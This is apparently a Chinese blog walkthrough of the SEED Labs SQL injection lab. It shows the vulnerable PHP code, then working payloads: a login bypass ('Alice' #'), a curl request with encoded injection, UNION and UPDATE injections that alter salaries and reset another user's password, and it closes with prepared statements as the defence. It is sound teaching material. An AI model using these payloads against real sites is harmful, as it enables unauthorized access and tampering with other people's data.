SeedLab——SQL Injection Attack Lab

SeedLab——SQL Injection Attack Lab

Lab Environment Setup

在Linux下的/etc/hosts种添加下面的映射

10.9.0.5 www.seed-server.com

进入Labsetup根目录,运行dcbuild构建容器,dcup启动容器

dcbuild # alias for docker-compose build
dcup # alias for docker-compose up

访问http://www.seed-server.com即可进入实验环境

image-20231113142713698

Task 1: Get Familiar with SQL Statements

可以在vscode的扩展市场下载SQl Server Client(mssql)这个插件

image-20231113143959255

然后创建一个新连接服务类型选择MySQL,主机名选择数据库容器运行的IP为10.9.0.6

image-20231113144101371

比如运行这条指令,会显示当前使用的数据库的所有表

SHOW TABLES

image-20231113144611720

从credential表中取出ID字段为1的数据

SELECT * FROM credential WHERE `ID`=1 LIMIT 0,100

image-20231113144730900

Task 2: SQL Injection Attack on SELECT Statement

要求我们在不知道任何员工的登陆凭证的情况下登陆系统。

给出了关键部分的后台PHP代码如下所示。获取用户提交的GET参数中获取用户名和密码,然后对密码计算sha1散列值,拼接到sql语句执行查询,以完成身份的校验。

$input_uname = $_GET['username'];
$input_pwd = $_GET['Password'];
$hashed_pwd = sha1($input_pwd);
// 略
$sql = "SELECT id, name, eid, salary, birth, ssn, address, 
        email, nickname, Password FROM credential 
        WHERE name= '$input_uname' and Password='$hashed_pwd'";
$result = $conn -> query($sql);
// The following is Pseudo Code
if(id != NULL) {
    if(name=='admin') {
        return All employees information;
    } else if (name !=NULL){
        return employee information;
    }
} else {
    Authentication Fails;
}

这段代码对用户的输入没有做任何的过滤,因此非常危险。

Task 2.1: SQL Injection Attack from webpage

查询语句如下,对于用户输入的用户名使用单引号包裹。

$sql = "SELECT id, name, eid, salary, birth, ssn, address, 
        email, nickname, Password FROM credential 
        WHERE name= '$input_uname' and Password='$hashed_pwd'";

我们可以构造输入的用户名,将整个语句提前闭合,并将后面的内容注释掉,如下所示

SELECT id, name, eid, salary, birth, ssn, address, 
        email, nickname, Password FROM credential 
        WHERE name= 'Alice' #' and Password='$hashed_pwd'

image-20231113150519952

所以我们在登陆时输入用户名Alice' #,然后点击登录

image-20231113150605250

登陆成功

image-20231113150649283

Task 2.2: SQL Injection Attack from command line

curl 是一个命令行工具,用于在终端或命令行界面下发送 HTTP 请求并获取响应。它支持多种协议,包括 HTTP、HTTPS、FTP、TELNET 等。

除了在网页完成注入攻击,我们还可以使用python脚本或者curl工具来完成SQL注入,这些方法相比较直接在网页注入的优势是可以自动化完成任务,curl工具也可以编写shell脚本来完成自动化注入,因此比较适合盲注的情况。

这里的登录参数传递方式是GET,因此使用curl的话命令格式比较简单。注意这里需要将单引号和#号转化成URL编码

curl http://www.seed-server.com/unsafe_home.php?username=Alice%27+%23

这样就会响应我们请求的网页的源代码

image-20231113151527220

Task 2.3: Append a new SQL statement

我们通过SQL注入完成了未经授权的登录,那么如果想要执行额外的SQL语句该如何构造请求参数呢。

可以使用UNION联合查询。UNION 联合查询是一种 SQL 查询技术,用于将两个或多个 SELECT 语句的结果合并成一个结果集。它要求每个 SELECT 语句具有相同的列数,并且相应的列的数据类型和顺序也要相同。

例如构造SQL语句如下

SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password 
    FROM credential WHERE name= 'Alice' 
    UNION SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password 
    FROM credential WHERE id=2 #' and Password='$hashed_pwd'

查询到了我们期望的ID字段等于2数据

image-20231113152135187

联合查询将两个或多个 SELECT 语句的结果合并成一个结果集,如果我们要执行UPDATE或者DELETE语句该怎么做呢?可以使用;将两条语句分割。如下所示,执行完第一个语句后更新数据表将ID字段为1的birth字段设置为3/14。

SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password 
    FROM credential WHERE name= 'Alice'; 
    UPDATE credential SET birth='3/14' WHERE ID=1 #' and Password='$hashed_pwd'

image-20231113152826222

所以可以构造payload如下,修改Alice的薪水。

Alice';UPDATE credential SET salary=999999990 WHERE name='Alice'#

但是无法执行,这是为什么呢?

image-20231113154132247

后端代码执行sql语句调用了这段代码。对于大多数数据库连接库,为了安全,$conn->query($sql)方法默认只能执行一条SQL语句,不支持在同一个字符串中使用分号分隔多个SQL语句。因此我们在前端注入UPDATE语句无法成功。

$result = $conn -> query($sql);

Task 3: SQL Injection Attack on UPDATE Statement

上面的SELECT语句存在SQL注入漏洞,可能会造成数据库的泄露,如果UPDATE语句存在SQL注入漏洞,危害可能会更严重,因为攻击者可以利用漏洞来修改数据库,造成系统的不可用。

这个网站为用户提供了修改个人信息的功能。更新用户信息的后端部分代码如下所示,同样是没有对用户输入执行任何的过滤。

$hashed_pwd = sha1($input_pwd);
$sql = "UPDATE credential SET
        nickname='$input_nickname',
        email='$input_email',
        address='$input_address',
        Password='$hashed_pwd',
        PhoneNumber='$input_phonenumber'
        WHERE ID=$id;";
$conn->query($sql);

Task 3.1: Modify your own salary

刚刚通过;方式分割SQL语句执行两条SQL语句的方法修改Alice的薪水行不通。我们可以尝试构造修改信息的参数来修改Alice的薪水。

123456', salary=8888888, SSN='10211002

这样后端执行的SQL语句就是这样,可以成功设置salary字段

UPDATE credential SET
        nickname='$input_nickname',
        email='$input_email',
        address='$input_address',
        Password='$hashed_pwd',
        PhoneNumber='123456', salary=8888888, SSN='10211002'
        WHERE ID=$id;

填写表单如下,点击save按钮

image-20231113160132595

返回个人信息页面发现修改成功

image-20231113161530423

Task 3.2: Modify other people’ salary

要修改其他人的薪水,可以构造Phonenumber参数如下

123456', salary=1 WHERE name='Boby' #

这样经过拼接后的SQL语句如下所示,可以修改Boby的薪水为1

UPDATE credential SET
        nickname='$input_nickname',
        email='$input_email',
        address='$input_address',
        Password='$hashed_pwd',
        PhoneNumber='123456', salary=1 WHERE name='Boby' #' WHERE ID=$id;

查看数据表,修改成功

image-20231113161520514

Task 3.3: Modify other people’ password

这里的密码是经过SHA1散列计算后存入数据库的,因此要修改别人的密码,不能直接修改为明文,那样我们自己也无法使用。可以构造Phonenumber参数如下。使用SH1函数在插入密码123456之前对其进行SHA1散列计算。

123456', Password=sh1('123456') WHERE name='Boby' #

经过这样的构造,执行的SQL语句如下

UPDATE credential SET
        nickname='$input_nickname',
        email='$input_email',
        address='$input_address',
        Password='$hashed_pwd',
        PhoneNumber='123456', Password=sh1('123456') WHERE name='Boby' #' WHERE ID=$id;

提交参数,点击save

image-20231113161508495

然后使用账号Boby 密码123456登录Boby的账号,登陆成功,修改Boby的密码成功。

Task 4: Countermeasure — Prepared Statement

SQL语句的执行处理,分为即时语句预处理语句即时语句,顾名思义,一条SQL语句直接是走流程处理,一次编译,单次运行,此类普通语句被称作Immediate Statements(即时语句)。预处理语句(Prepared Statements,也称为参数化语句)只是一个SQL查询模板,其中包含占位符而不是实际参数值。在执行语句时,这些占位符将被实际值替换。预处理语句用于执行多个相同的SQL语句,并且执行效率更高。

预处理语句能够有效地防御SQL注入

相比于直接执行SQL语句,预处理语句有如下优势:

  • 预处理语句大大减少了分析时间。一个预处理语句可以高效地重复执行同一条语句,因为该语句仅被再次解析一次。
  • 绑定参数减少了服务器带宽,你只需要发送查询的参数,而不是整个语句。
  • 使用不同的协议将参数值与查询分开发送到数据库服务器,保证了数据的合法性,有效地防范了SQL注入。因此预处理语句被认为是数据库安全性中最关键的元素之一。

创建SQL语句模板并发送到数据库。预留的值使用参数?标记 。例如:

INSERT INTO grade (id, name, phonenum, grades) VALUES(?, ?, ?, ?)

服务端数据库解析,编译并对SQL语句模板执行查询优化和语法检查,并将其存储以备后用。

在执行阶段,参数值将发送到服务器,将绑定的值传递给参数(?标记)。服务端数据库将语句模板和这些值合成一个语句然后执行它。

image-20231113161915669

------本页内容已结束,喜欢请分享------

文章作者
能不能吃完饭再说
隐私政策
PrivacyPolicy
用户协议
UseGenerator
许可协议
NC-SA 4.0


© 版权声明
THE END
喜欢就支持一下吧
点赞25赞赏 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片